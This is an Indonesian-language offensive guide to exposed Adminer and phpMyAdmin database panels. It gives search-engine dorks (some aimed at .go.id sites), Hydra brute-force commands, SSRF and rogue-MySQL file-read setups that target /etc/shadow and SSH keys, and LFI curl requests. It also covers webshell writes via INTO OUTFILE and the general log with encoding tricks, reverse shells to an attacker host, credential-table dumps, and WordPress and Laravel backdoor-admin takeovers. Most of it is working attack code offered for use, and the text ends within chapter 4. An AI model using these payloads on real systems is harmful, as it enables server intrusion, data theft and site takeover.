Exposed Database Panels: Adminer, phpMyAdmin & pgAdmin
- Siti
Table of Contents
Daftar Isi
- Bab 1 — Menemukan Panel yang Terekspos
- Bab 2 — Eksploitasi Adminer
- Bab 3 — Eksploitasi phpMyAdmin
- Bab 4 — Post-Exploitation
- Bab 5 — PostgreSQL: pgAdmin & Eksploitasi via SQL
- 5.1 Panel yang Mengekspos PostgreSQL
- 5.2 Menemukan pgAdmin yang Terekspos
- 5.3 Adminer + PostgreSQL
- 5.4 COPY FROM PROGRAM — RCE Langsung
- 5.5 File Read & Write via Large Object
- 5.6 File Read via pg_read_file & pg_ls_dir
- 5.7 RCE via Procedural Languages (plpythonu / plperlu)
- 5.8 Extension Abuse: dblink
- 5.9 Extension Abuse: adminpack & pg_execute_server_program
- 5.10 Privilege Escalation di PostgreSQL
- 5.11 Checklist PostgreSQL
Bab 1 — Menemukan Panel yang Terekspos
1.1 Apa itu Adminer & phpMyAdmin
| Tool | Deskripsi | File |
|---|---|---|
| Adminer | Database management dalam 1 file PHP. Support MySQL, PostgreSQL, SQLite, MS SQL, Oracle | adminer.php (single file) |
| phpMyAdmin | Web interface untuk MySQL/MariaDB. Lebih lengkap, lebih berat | Folder /phpmyadmin/ |
Keduanya digunakan developer untuk mengelola database via browser. Masalahnya — sering lupa dihapus atau tidak dilindungi di production server.
1.2 Mengapa Sering Terekspos
- Developer deploy untuk debugging, lupa hapus
- Hosting shared (cPanel, DirectAdmin) otomatis install phpMyAdmin
- Docker compose meng-expose port tanpa auth
- Tidak ada firewall rule yang membatasi akses
.htaccess/ nginx config tidak melindungi path
1.3 Dorking: Google
# Adminer
inurl:adminer.php
intitle:"Adminer" inurl:adminer
intitle:"Login - Adminer"
inurl:adminer.php "MySQL" "Login"
inurl:adminer.php ext:php
# phpMyAdmin
inurl:phpmyadmin intitle:"phpMyAdmin"
intitle:"phpMyAdmin" "Welcome to phpMyAdmin"
inurl:"/phpmyadmin/index.php"
inurl:pma intitle:phpMyAdmin
intitle:"phpMyAdmin" "Server: localhost"
intitle:"phpMyAdmin" "Log in" inurl:phpmyadmin
# Targeted (specific TLD/domain)
site:target.com inurl:adminer
site:target.com inurl:phpmyadmin
site:.id inurl:adminer.php
site:.go.id inurl:phpmyadmin1.4 Dorking: Shodan
1# Adminer
2shodan search "Adminer" "Login" --fields ip_str,port,org
3shodan search 'http.title:"Adminer" http.html:"Login"'
4shodan search 'http.title:"Login - Adminer"'
5
6# phpMyAdmin
7shodan search 'http.title:"phpMyAdmin"'
8shodan search 'http.title:"phpMyAdmin" http.html:"Welcome"'
9shodan search 'http.title:"phpMyAdmin" country:"ID"'
10
11# CLI bulk
12shodan download results 'http.title:"phpMyAdmin"'
13shodan parse --fields ip_str,port results.json.gz1.5 Dorking: FOFA / Censys / ZoomEye
# FOFA (fofa.info)
title="Adminer" && body="Login"
title="phpMyAdmin" && country="ID"
body="adminer.php" && status_code="200"
# Censys (search.censys.io)
services.http.response.html_title: "phpMyAdmin"
services.http.response.html_title: "Adminer"
# ZoomEye (zoomeye.org)
title:"phpMyAdmin" +country:"ID"
title:"Adminer" +after:"2024-01-01"1.6 Nuclei Templates
1# Scan single target
2nuclei -u https://target.com -t http/exposed-panels/adminer-panel-detect.yaml
3nuclei -u https://target.com -t http/exposed-panels/phpmyadmin-panel.yaml
4
5# Scan dari file
6nuclei -l targets.txt -t http/exposed-panels/ -tags panel
7
8# Scan semua exposed panel sekaligus
9nuclei -l targets.txt -tags panel,phpmyadmin,adminer
10
11# Custom path bruteforce + detect
12nuclei -l targets.txt -t http/exposed-panels/ -t http/misconfiguration/1.7 Manual Discovery via Path Bruteforce
Path umum yang perlu dicek:
Adminer:
/adminer.php
/adminer/
/adminer/adminer.php
/adminer-4.8.1.php
/adminer-4.7.8.php
/_adminer.php
/db.php
/database.php
/dbadmin.php
/sql.php
/admin/adminer.php
/tools/adminer.php
/vendor/adminer/adminer/adminer.phpphpMyAdmin:
/phpmyadmin/
/phpmyadmin/index.php
/pma/
/PMA/
/phpMyAdmin/
/phpMyAdmin/index.php
/mysql/
/myadmin/
/dbadmin/
/sql/
/admin/pma/
/admin/phpmyadmin/
/tools/phpmyadmin/
/cpanel/phpmyadmin/Bruteforce dengan ffuf:
1# Wordlist khusus db panels
2cat > /tmp/dbpanels.txt << 'EOF'
3adminer.php
4adminer/
5adminer/adminer.php
6phpmyadmin/
7phpMyAdmin/
8pma/
9PMA/
10myadmin/
11mysql/
12dbadmin/
13sql.php
14db.php
15database.php
16EOF
17
18ffuf -u https://target.com/FUZZ -w /tmp/dbpanels.txt -mc 200,301,302,401,403Bab 2 — Eksploitasi Adminer
2.1 Versi & Kerentanan
| Versi | CVE | Kerentanan |
|---|---|---|
| < 4.7.9 | CVE-2021-21311 | SSRF via redirect |
| < 4.7.8 | - | Rogue MySQL Server → arbitrary file read |
| < 4.6.3 | CVE-2018-7667 | SSRF |
| Semua versi | - | Login ke arbitrary MySQL server (by design) |
Cek versi Adminer:
- Biasanya tertulis di halaman login: “Adminer 4.8.1”
- Atau di source HTML:
<title>Login - Adminer</title> - Footer: “Adminer 4.x.x for MySQL”
2.2 Default / Weak Credentials
Adminer sendiri tidak punya credentials — dia login ke database server. Yang perlu dicoba:
# MySQL default
root : (kosong)
root : root
root : mysql
root : password
root : toor
admin : admin
mysql : mysql
# MariaDB (sering tanpa password di localhost)
root : (kosong)
# Hosting panels (cPanel dll)
# Username biasanya = nama database = nama cpanel user
# Format: prefix_dbnameBrute force:
1# Hydra terhadap Adminer form
2hydra -l root -P /usr/share/wordlists/rockyou.txt \
3 target.com http-post-form \
4 "/adminer.php:auth[driver]=server&auth[server]=localhost&auth[username]=^USER^&auth[password]=^PASS^&auth[db]=:F=Invalid credentials"2.3 CVE-2021-21311 — SSRF
Adminer < 4.7.9 — bisa SSRF via redirect saat connect ke database server.
1# 1. Setup redirect server di VPS attacker
2# redirect.py
3cat > /tmp/redirect.py << 'PYEOF'
4from http.server import HTTPServer, BaseHTTPRequestHandler
5class Handler(BaseHTTPRequestHandler):
6 def do_GET(self):
7 self.send_response(301)
8 # Redirect ke internal service
9 self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
10 self.end_headers()
11HTTPServer(('0.0.0.0', 80), Handler).serve_forever()
12PYEOF
13python3 /tmp/redirect.py
14
15# 2. Di Adminer, set server ke: attacker-ip
16# Adminer akan follow redirect → SSRF ke internalTarget SSRF yang berguna:
http://127.0.0.1:6379/ → Redis
http://169.254.169.254/ → Cloud metadata (AWS/GCP)
http://127.0.0.1:9200/ → Elasticsearch
http://internal-host:8080/ → Internal web apps2.4 Adminer File Read (Rogue MySQL Server)
Teknik paling powerful untuk Adminer < 4.7.8. Adminer akan mengirim file dari server target ke MySQL server yang kamu kontrol.
Cara kerja: MySQL protocol punya fitur LOAD DATA LOCAL INFILE — server bisa minta client (Adminer) mengirim file apapun.
1# 1. Setup Rogue MySQL Server di VPS attacker
2# Gunakan tool: https://github.com/allyshka/Rogue-MySql-Server
3
4git clone https://github.com/allyshka/Rogue-MySql-Server
5cd Rogue-MySql-Server
6
7# Edit config — file apa yang mau dibaca dari target
8# rogue_mysql_server.py → set filelist:
9# /etc/passwd
10# /var/www/html/wp-config.php
11# /etc/shadow
12# /proc/self/environ
13
14python3 rogue_mysql_server.py
15
16# 2. Di halaman Adminer target:
17# Server: attacker-ip
18# Username: root
19# Password: (apapun)
20# Database: (kosong)
21# Klik Login
22
23# 3. Adminer connect ke rogue server
24# Rogue server minta LOAD DATA LOCAL INFILE
25# Adminer kirim isi file dari server target
26# File tersimpan di log rogue serverFile yang menarik untuk dibaca:
# Web app config
/var/www/html/wp-config.php # WordPress
/var/www/html/.env # Laravel/generic
/var/www/html/config/database.yml # Rails
/var/www/html/application/config/database.php # CodeIgniter
/var/www/html/app/etc/env.php # Magento
/var/www/html/sites/default/settings.php # Drupal
# System files
/etc/passwd
/etc/shadow # kalau Adminer jalan sebagai root
/etc/hostname
/proc/self/environ # environment variables
/proc/self/cmdline
# SSH keys
/root/.ssh/id_rsa
/home/www-data/.ssh/id_rsa
# Database config
/etc/mysql/debian.cnf # Debian MySQL default creds
/etc/my.cnf2.5 Login tanpa Password (MySQL Empty Root)
Banyak MySQL/MariaDB yang dikonfigurasi tanpa password untuk root di localhost. Jika Adminer terekspos di server yang sama:
Server: localhost
Username: root
Password: (kosong)
Database: (kosong atau mysql)Variasi:
Server: 127.0.0.1
Server: localhost:3306
Server: localhost:/var/run/mysqld/mysqld.sockJika berhasil login → lanjut ke section 2.6.
2.6 Post-Login: Database ke Shell
Setelah berhasil login ke database via Adminer:
a) Enumerasi Webroot Path
Sebelum menulis webshell, kamu harus tahu di mana document root web server. Jangan asal tebak — gunakan SQL untuk meraba path yang benar.
Dari MySQL variables & status:
1-- Datadir (bukan webroot, tapi jadi referensi)
2SELECT @@datadir;
3-- /var/lib/mysql/
4
5-- Hostname (menunjukkan OS & kemungkinan distro)
6SELECT @@hostname;
7
8-- Basedir MySQL
9SELECT @@basedir;
10-- /usr/ (Debian/Ubuntu) atau /usr/local/mysql/ (manual install)
11
12-- OS yang dipakai
13SELECT @@version_compile_os;
14-- Linux, debian-linux-gnu, Win64, dll
15
16-- Plugin dir (menunjukkan struktur direktori server)
17SHOW VARIABLES LIKE 'plugin_dir';
18-- /usr/lib/mysql/plugin/ → kemungkinan Debian/Ubuntu
19-- /usr/lib64/mysql/plugin/ → kemungkinan CentOS/RHEL
20
21-- Tmpdir (fallback untuk write file)
22SELECT @@tmpdir;
23-- /tmp biasanya selalu writable
24
25-- Cek secure_file_priv
26SHOW VARIABLES LIKE 'secure_file_priv';
27-- Kosong = write kemana saja
28-- /var/lib/mysql-files/ = hanya bisa write ke sana
29-- NULL = tidak bisa write sama sekaliBaca file konfigurasi web server langsung (jika punya FILE privilege):
1-- ========== Apache ==========
2-- Debian/Ubuntu
3SELECT LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf');
4SELECT LOAD_FILE('/etc/apache2/sites-enabled/default-ssl.conf');
5SELECT LOAD_FILE('/etc/apache2/apache2.conf');
6
7-- CentOS/RHEL
8SELECT LOAD_FILE('/etc/httpd/conf/httpd.conf');
9SELECT LOAD_FILE('/etc/httpd/conf.d/ssl.conf');
10
11-- Cari DocumentRoot di output:
12-- DocumentRoot /var/www/html
13-- DocumentRoot /home/user/public_html
14
15-- ========== Nginx ==========
16SELECT LOAD_FILE('/etc/nginx/nginx.conf');
17SELECT LOAD_FILE('/etc/nginx/sites-enabled/default');
18SELECT LOAD_FILE('/etc/nginx/conf.d/default.conf');
19
20-- Cari root directive di output:
21-- root /var/www/html;
22-- root /usr/share/nginx/html;
23
24-- ========== cPanel ==========
25SELECT LOAD_FILE('/etc/apache2/conf/httpd.conf');
26SELECT LOAD_FILE('/etc/httpd/conf/httpd.conf');
27-- DocumentRoot biasanya /home/<username>/public_html
28
29-- ========== Plesk ==========
30SELECT LOAD_FILE('/etc/apache2/plesk.conf.d/vhosts/*.conf');
31-- DocumentRoot /var/www/vhosts/<domain>/httpdocs
32
33-- ========== XAMPP / LAMP ==========
34SELECT LOAD_FILE('/opt/lampp/etc/httpd.conf');
35-- DocumentRoot /opt/lampp/htdocsBaca file konfigurasi aplikasi (untuk temukan base path):
1-- WordPress
2SELECT LOAD_FILE('/var/www/html/wp-config.php');
3
4-- Laravel (.env)
5SELECT LOAD_FILE('/var/www/html/.env');
6SELECT LOAD_FILE('/var/www/laravel/.env');
7
8-- CMS config umum
9SELECT LOAD_FILE('/var/www/html/configuration.php'); -- Joomla
10SELECT LOAD_FILE('/var/www/html/sites/default/settings.php'); -- Drupal
11SELECT LOAD_FILE('/var/www/html/config/config.php'); -- Generic
12
13-- Proc cmdline (lihat proses web server dan path)
14SELECT LOAD_FILE('/proc/self/cmdline');
15
16-- /etc/passwd (cari user web & home dir)
17SELECT LOAD_FILE('/etc/passwd');
18-- www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
19-- → webroot kemungkinan di /var/www/ atau /var/www/html/Probing path via error — tulis ke berbagai lokasi, cek mana yang berhasil:
1-- Tulis test file ke kandidat path, cek response
2SELECT 'test' INTO OUTFILE '/var/www/html/test.txt';
3SELECT 'test' INTO OUTFILE '/var/www/test.txt';
4SELECT 'test' INTO OUTFILE '/usr/share/nginx/html/test.txt';
5SELECT 'test' INTO OUTFILE '/home/www/public_html/test.txt';
6SELECT 'test' INTO OUTFILE '/srv/www/htdocs/test.txt';
7SELECT 'test' INTO OUTFILE '/opt/lampp/htdocs/test.txt';
8
9-- Cek masing-masing:
10-- curl -s https://target.com/test.txt
11-- Yang return "test" = webroot ditemukanDari database itu sendiri (jika ada CMS terinstall):
1-- WordPress: ambil siteurl
2SELECT option_value FROM wp_options WHERE option_name = 'siteurl';
3SELECT option_value FROM wp_options WHERE option_name = 'home';
4-- https://target.com → webroot biasanya /var/www/html/
5
6-- WordPress: cek upload path
7SELECT option_value FROM wp_options WHERE option_name = 'upload_path';
8
9-- Joomla
10SELECT value FROM jos_extensions WHERE name = 'com_media';
11
12-- Laravel: ambil path dari sessions atau cache table
13SELECT payload FROM sessions LIMIT 1;
14
15-- Drupal
16SELECT value FROM variable WHERE name = 'file_public_path';Tabel referensi webroot berdasarkan OS & web server:
| OS / Server | Webroot Path |
|---|---|
| Ubuntu/Debian + Apache | /var/www/html/ |
| Ubuntu/Debian + Nginx | /var/www/html/ atau /usr/share/nginx/html/ |
| CentOS/RHEL + Apache | /var/www/html/ |
| CentOS/RHEL + Nginx | /usr/share/nginx/html/ |
| openSUSE + Apache | /srv/www/htdocs/ |
| Arch Linux | /srv/http/ |
| FreeBSD + Apache | /usr/local/www/apache24/data/ |
| cPanel | /home/<user>/public_html/ |
| Plesk | /var/www/vhosts/<domain>/httpdocs/ |
| XAMPP | /opt/lampp/htdocs/ |
| WAMP (Windows) | C:/wamp64/www/ |
| MAMP (macOS) | /Applications/MAMP/htdocs/ |
| Docker (bitnami) | /opt/bitnami/wordpress/ atau /app/ |
| Laravel | /var/www/html/public/ (symlink ke storage) |
| Symfony | /var/www/html/public/ |
| CodeIgniter | /var/www/html/ |
Subdirectory yang sering writable (lebih aman untuk write):
1-- Upload directories (biasanya chmod 777 atau writable oleh www-data)
2SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/uploads/shell.php';
3SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/wp-content/uploads/shell.php';
4SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/images/shell.php';
5SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/media/shell.php';
6SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/tmp/shell.php';
7SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/cache/shell.php';
8SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/assets/shell.php';
9SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/storage/shell.php';
10SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/public/uploads/shell.php';b) SELECT INTO OUTFILE (Webshell)
Setelah tahu webroot, tulis webshell:
1-- Cek privilege
2SHOW VARIABLES LIKE 'secure_file_priv';
3
4-- Tulis webshell
5SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';Akses: https://target.com/shell.php?cmd=id
File Ownership & Permission:
File yang ditulis MySQL (INTO OUTFILE maupun General Log) dimiliki oleh user OS yang menjalankan proses mysqld:
| Distro | User | Group |
|---|---|---|
| Debian/Ubuntu | mysql | mysql |
| RHEL/CentOS | mysql | mysql |
| Alpine/Docker | mysql | mysql |
INTO OUTFILE membuat file dengan permission 0666 (rw-rw-rw-) — world-readable, sehingga web server (www-data, apache, nginx) tetap bisa membaca dan meng-execute file PHP tersebut.
Kondisi yang bisa menyebabkan gagal:
| Kondisi | Penjelasan | Cek |
|---|---|---|
secure_file_priv | Membatasi direktori tujuan write | SHOW VARIABLES LIKE 'secure_file_priv'; |
| AppArmor/SELinux | Policy blokir mysqld menulis ke luar /var/lib/mysql/ | aa-status atau getenforce |
| Directory permission | Direktori target harus writable oleh user mysql (minimal o+wx) | Coba tulis ke beberapa path |
| File sudah ada | INTO OUTFILE menolak overwrite file existing | Gunakan nama file unik |
| Read-only filesystem | Container atau mount read-only | Cari direktori writable (/tmp, /var/tmp) |
1-- Verifikasi: cek user yang menjalankan MySQL
2SELECT USER(), CURRENT_USER();
3SHOW VARIABLES LIKE 'secure_file_priv';
4
5-- Jika secure_file_priv tidak kosong, file hanya bisa ditulis ke direktori itu
6-- Jika nilainya NULL → INTO OUTFILE dinonaktifkan sepenuhnya
7-- Jika nilainya kosong ('') → bebas tulis kemana sajaTips: Jika
INTO OUTFILEdiblokir, gunakan General Log trick (lihat bagian berikutnya) — file yang ditulis via General Log memiliki ownership dan permission yang sama (mysql:mysql), tapi tidak dibatasi olehsecure_file_priv.
Masalah Quote pada Payload Panjang:
Payload sederhana seperti di atas mudah ditulis. Tapi jika PHP payload lebih kompleks (file manager, reverse shell, dll), quote akan bentrok antara SQL string dan PHP string. Berikut teknik encoding untuk menghindari masalah ini:
Teknik 1: Hex Encoding (Paling Reliable)
MySQL bisa menulis raw bytes dari hex literal — tanpa quote sama sekali:
1-- Contoh: <?php system($_GET["cmd"]); ?>
2-- Konversi ke hex:
3SELECT 0x3C3F7068702073797374656D28245F4745545B22636D64225D293B203F3E INTO OUTFILE '/var/www/html/shell.php';Untuk payload panjang, generate hex string dari terminal:
1# Dari file PHP lokal
2xxd -p payload.php | tr -d '\n' | sed 's/^/0x/'
3
4# Inline one-liner
5echo -n '<?php eval($_POST["x"]); ?>' | xxd -p | tr -d '\n' | sed 's/^/0x/'Contoh payload kompleks (reverse shell):
1-- <?php $sock=fsockopen("10.10.14.1",4444);exec("/bin/sh -i <&3 >&3 2>&3"); ?>
2SELECT 0x3C3F70687020247363636B3D66736F636B6F70656E282231302E31302E31342E31222C34343434293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B203F3E
3INTO OUTFILE '/var/www/html/rs.php';Teknik 2: CHAR() Function
Bangun string dari ASCII code — berguna untuk payload pendek-menengah:
1-- <?php system($_GET["cmd"]); ?>
2SELECT CHAR(60,63,112,104,112,32,115,121,115,116,101,109,40,36,95,71,69,84,91,34,99,109,100,34,93,41,59,32,63,62)
3INTO OUTFILE '/var/www/html/shell.php';Generate CHAR sequence dari terminal:
1echo -n '<?php system($_GET["cmd"]); ?>' | od -An -td1 | tr ' ' ',' | sed 's/^,//;s/,$//'Teknik 3: CONCAT() + Escape
Pecah string menjadi bagian-bagian untuk menghindari bentrok quote:
1-- Gunakan single quote di SQL, escape internal single quote
2SELECT CONCAT(
3 '<?php ',
4 'eval(base64_decode($_POST[',
5 CHAR(34), 'x', CHAR(34), -- double quote via CHAR()
6 ']));',
7 ' ?>'
8) INTO OUTFILE '/var/www/html/shell.php';Teknik 4: Base64 Wrapper (Payload Panjang)
Tulis PHP kecil yang decode+eval base64 — payload asli disimpan sebagai base64 string tanpa karakter bermasalah:
1-- Wrapper kecil yang decode payload asli
2SELECT '<?php eval(base64_decode("aWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpe2VjaG8gIjxwcmU+IjtzeXn0ZW0oJF9SRVFVRVNUWydjbWQnXSk7ZWNobyAiPC9wcmU+Ijtka2UoKTt9")); ?>'
3INTO OUTFILE '/var/www/html/shell.php';Generate base64 dari terminal:
1# Encode payload PHP (tanpa tag <?php ?>)
2echo -n 'if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";die();}' | base64 -w0Lalu masukkan ke wrapper:
1-- Wrapper tidak mengandung double-quote jadi aman
2SELECT CONCAT('<?php eval(base64_decode("', 'PASTE_BASE64_HERE', '")); ?>') INTO OUTFILE '/var/www/html/shell.php';Teknik 5: Hex + UNHEX() untuk General Log
Jika menggunakan General Log trick, hex juga bisa dipakai:
1SET global general_log = ON;
2SET global general_log_file = '/var/www/html/shell.php';
3
4-- Query hex langsung masuk ke log sebagai binary
5SELECT UNHEX('3C3F7068702073797374656D28245F4745545B22636D64225D293B203F3E');
6
7SET global general_log = OFF;Catatan: General Log menulis query apa adanya ke file, jadi
UNHEX()akan menulis hasil decode (raw PHP) ke log file.
Ringkasan Teknik Encoding:
| Teknik | Kelebihan | Kekurangan |
|---|---|---|
Hex (0x...) | Tanpa quote, paling reliable | String panjang, susah dibaca |
| CHAR() | Mudah dipahami | Verbose untuk payload panjang |
| CONCAT() | Fleksibel, bisa mix teknik | Perlu hati-hati struktur |
| Base64 wrapper | Payload berapapun panjangnya aman | Butuh eval() di PHP |
| UNHEX() | Untuk General Log trick | Hanya untuk General Log |
Tips: Untuk payload production, gunakan Hex Encoding (Teknik 1) — paling reliable, tidak ada masalah quote, dan bekerja di semua versi MySQL/MariaDB.
b) General Log Trick
Jika INTO OUTFILE diblokir oleh secure_file_priv:
1-- Aktifkan general log dan arahkan ke webroot
2SET global general_log = ON;
3SET global general_log_file = '/var/www/html/shell.php';
4
5-- Jalankan query yang mengandung PHP
6SELECT '<?php system($_GET["cmd"]); ?>';
7
8-- Matikan log
9SET global general_log = OFF;c) UDF (User Defined Function) — RCE langsung
1-- Cek plugin dir
2SHOW VARIABLES LIKE 'plugin_dir';
3-- Biasanya /usr/lib/mysql/plugin/
4
5-- Upload UDF shared library ke plugin dir
6-- (butuh binary .so yang kompatibel)
7
8-- Buat function
9CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so';
10SELECT sys_exec('id > /tmp/output.txt');
11SELECT sys_exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');Bab 3 — Eksploitasi phpMyAdmin
3.1 Versi & Kerentanan
| Versi | CVE | Kerentanan |
|---|---|---|
| 4.8.0 - 4.8.1 | CVE-2018-12613 | Local File Inclusion |
| 4.0.x - 4.6.x | CVE-2016-5734 | RCE via preg_replace /e modifier |
| 4.8.x | CVE-2018-19968 | LFI via transformation |
| 2.x - 4.0.x | CVE-2009-1151 | RCE via config setup script |
| < 5.1.2 | CVE-2023-25727 | XSS to RCE |
| Semua | - | Weak/default credentials + SQL exploitation |
Cek versi: biasanya terlihat di halaman login atau footer setelah login.
3.2 Default / Weak Credentials
# Default
root : (kosong)
root : root
root : mysql
root : password
pma : (kosong)
phpmyadmin : (kosong)
# cPanel default (username = cpanel username)
# Plesk default
admin : admin_password_dari_panel
# Docker default (bitnami/phpmyadmin)
root : (kosong)
root : rootBrute force:
1hydra -l root -P /usr/share/wordlists/rockyou.txt \
2 target.com http-post-form \
3 "/phpmyadmin/index.php:pma_username=^USER^&pma_password=^PASS^&server=1:F=Cannot log in"3.3 CVE-2018-12613 — Local File Inclusion
phpMyAdmin 4.8.0 - 4.8.1 — LFI tanpa autentikasi.
1# Baca /etc/passwd
2curl -sk "https://target.com/phpmyadmin/index.php?target=db_sql.php%253f/../../../../etc/passwd"
3
4# Baca config phpMyAdmin (berisi credentials)
5curl -sk "https://target.com/phpmyadmin/index.php?target=db_sql.php%253f/../../../../etc/phpmyadmin/config-db.php"
6
7# Baca wp-config.php
8curl -sk "https://target.com/phpmyadmin/index.php?target=db_sql.php%253f/../../../../var/www/html/wp-config.php"LFI to RCE (via PHP session):
1# 1. Login ke phpMyAdmin (dengan creds apapun)
2# 2. Execute SQL query yang mengandung PHP code:
3SELECT '<?php system($_GET["cmd"]); ?>'
4
5# 3. Query tersimpan di session file
6# 4. Include session file via LFI:
7curl -sk -b "phpMyAdmin=SESSION_ID" \
8 "https://target.com/phpmyadmin/index.php?target=db_sql.php%253f/../../../../tmp/sess_SESSION_ID&cmd=id"3.4 CVE-2016-5734 — RCE via preg_replace
phpMyAdmin 4.0.x - 4.6.x — RCE jika sudah login.
1# Gunakan exploit script
2python3 cve-2016-5734.py -u root -p "" \
3 "https://target.com/phpmyadmin/" \
4 -c "system('id')"Manual via SQL:
1-- Di phpMyAdmin SQL tab, jalankan:
2-- Buat table dengan payload
3CREATE TABLE IF NOT EXISTS pma_rce (code TEXT);
4INSERT INTO pma_rce VALUES ('<?php system($_GET["cmd"]); ?>');
5
6-- Trigger via export/search dengan regex /e modifier (versi lama PHP)3.5 Post-Login: SQL Query ke Webshell
Setelah login ke phpMyAdmin, bisa langsung jalankan SQL:
1-- Cek privilege
2SHOW GRANTS;
3
4-- Cek secure_file_priv
5SHOW VARIABLES LIKE 'secure_file_priv';
6
7-- Jika kosong → tulis webshell
8SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';3.6 Post-Login: SELECT INTO OUTFILE
Sama seperti Adminer, tapi via phpMyAdmin interface:
- Buka tab SQL
- Jalankan:
1SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';Jika secure_file_priv memblokir:
1-- Cek nilainya
2SHOW VARIABLES LIKE 'secure_file_priv';
3
4-- Jika ada path misal /var/lib/mysql-files/
5-- Tulis ke sana, lalu akses via LFI lain atau symlink
6SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/lib/mysql-files/shell.php';Alternatif path webroot yang umum:
1-- Apache
2'/var/www/html/shell.php'
3'/var/www/shell.php'
4'/srv/www/htdocs/shell.php'
5
6-- Nginx
7'/usr/share/nginx/html/shell.php'
8'/var/www/html/shell.php'
9
10-- cPanel
11'/home/username/public_html/shell.php'
12
13-- Plesk
14'/var/www/vhosts/domain.com/httpdocs/shell.php'
15
16-- XAMPP / WAMP
17'/opt/lampp/htdocs/shell.php'
18'C:/xampp/htdocs/shell.php'3.7 Post-Login: General Log Trick
Jika INTO OUTFILE tidak bisa:
1-- Cek status general log saat ini
2SHOW VARIABLES LIKE 'general_log%';
3
4-- Arahkan log ke webroot
5SET global general_log_file = '/var/www/html/backdoor.php';
6SET global general_log = ON;
7
8-- Trigger log entry berisi PHP
9SELECT '<?php system($_GET["cmd"]); ?>';
10
11-- Matikan
12SET global general_log = OFF;Akses: https://target.com/backdoor.php?cmd=id
Catatan: Butuh privilege SUPER atau SET untuk mengubah global variables.
Bab 4 — Post-Exploitation
4.1 Dari Database Access ke Data Dump
Setelah login ke database panel, prioritas pertama — dump data sensitif:
1-- List semua database
2SHOW DATABASES;
3
4-- Cari tabel user/credentials
5SELECT table_schema, table_name FROM information_schema.tables
6WHERE table_name LIKE '%user%' OR table_name LIKE '%admin%'
7 OR table_name LIKE '%account%' OR table_name LIKE '%login%'
8 OR table_name LIKE '%credential%' OR table_name LIKE '%member%';
9
10-- Dump user table (contoh WordPress)
11SELECT user_login, user_pass, user_email FROM wp_users;
12
13-- Dump user table (contoh Laravel)
14SELECT name, email, password FROM users;
15
16-- Cari kolom yang mengandung password/secret
17SELECT table_schema, table_name, column_name FROM information_schema.columns
18WHERE column_name LIKE '%pass%' OR column_name LIKE '%secret%'
19 OR column_name LIKE '%token%' OR column_name LIKE '%key%'
20 OR column_name LIKE '%credit_card%' OR column_name LIKE '%ssn%';
21
22-- Export via phpMyAdmin: Database → Export → SQL/CSV
23-- Export via Adminer: Select → Export4.2 Dari Database ke Shell (RCE)
Prioritas kedua — dapatkan shell di server:
Metode 1: INTO OUTFILE → webshell (butuh FILE privilege + secure_file_priv kosong)
Metode 2: General Log → webshell (butuh SUPER privilege)
Metode 3: UDF → system command (butuh FILE + INSERT + plugin dir writable)
Metode 4: Rogue MySQL (Adminer) → file read → cari creds → SSH/login panelCek privilege kamu:
1-- Semua privilege
2SHOW GRANTS;
3SHOW GRANTS FOR CURRENT_USER();
4
5-- Cek user & host
6SELECT user(), current_user();
7
8-- Cek apakah FILE privilege ada
9SELECT privilege_type FROM information_schema.user_privileges
10WHERE grantee = CONCAT("'", REPLACE(CURRENT_USER(), '@', "'@'"), "'")
11 AND privilege_type = 'FILE';4.3 Privilege Escalation dari MySQL User
Jika hanya punya akses database user biasa (bukan root):
1-- Cek semua user MySQL
2SELECT user, host, authentication_string FROM mysql.user;
3-- Jika bisa baca tabel ini → crack hash → login sebagai root
4
5-- MySQL 5.x hash = SHA1(SHA1(password))
6-- Crack dengan hashcat:
7-- hashcat -m 300 hash.txt rockyou.txt
8
9-- Cek user dengan GRANT ALL
10SELECT * FROM information_schema.user_privileges WHERE privilege_type = 'SUPER';Dari database credentials ke system access:
1-- Baca MySQL config (mungkin ada password)
2SHOW VARIABLES LIKE '%password%';
3
4-- Baca replication credentials
5SHOW SLAVE STATUS\G
6-- Master_User + password bisa dipakai ke server lain4.4 Pivot ke Aplikasi Web
Setelah punya akses database, bisa take over aplikasi web yang menggunakan DB tersebut:
WordPress
1-- Ganti password admin
2UPDATE wp_users SET user_pass = MD5('hacked123') WHERE user_login = 'admin';
3
4-- Atau buat admin baru
5INSERT INTO wp_users (user_login, user_pass, user_email, user_registered, user_status)
6VALUES ('backdoor', MD5('hacked123'), 'hacker@test.com', NOW(), 0);
7
8INSERT INTO wp_usermeta (user_id, meta_key, meta_value)
9VALUES (LAST_INSERT_ID(), 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}');
10
11INSERT INTO wp_usermeta (user_id, meta_key, meta_value)
12VALUES (LAST_INSERT_ID(), 'wp_user_level', '10');
13
14-- Setelah login WP admin → Appearance → Theme Editor → edit 404.php → webshellLaravel
1-- Laravel pakai bcrypt, generate hash dulu:
2-- php -r "echo password_hash('hacked123', PASSWORD_BCRYPT);"
3-- Hasilnya: $2y$10$xxx...
4
5UPDATE users SET password = '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi'
6WHERE email = 'admin@target.com';
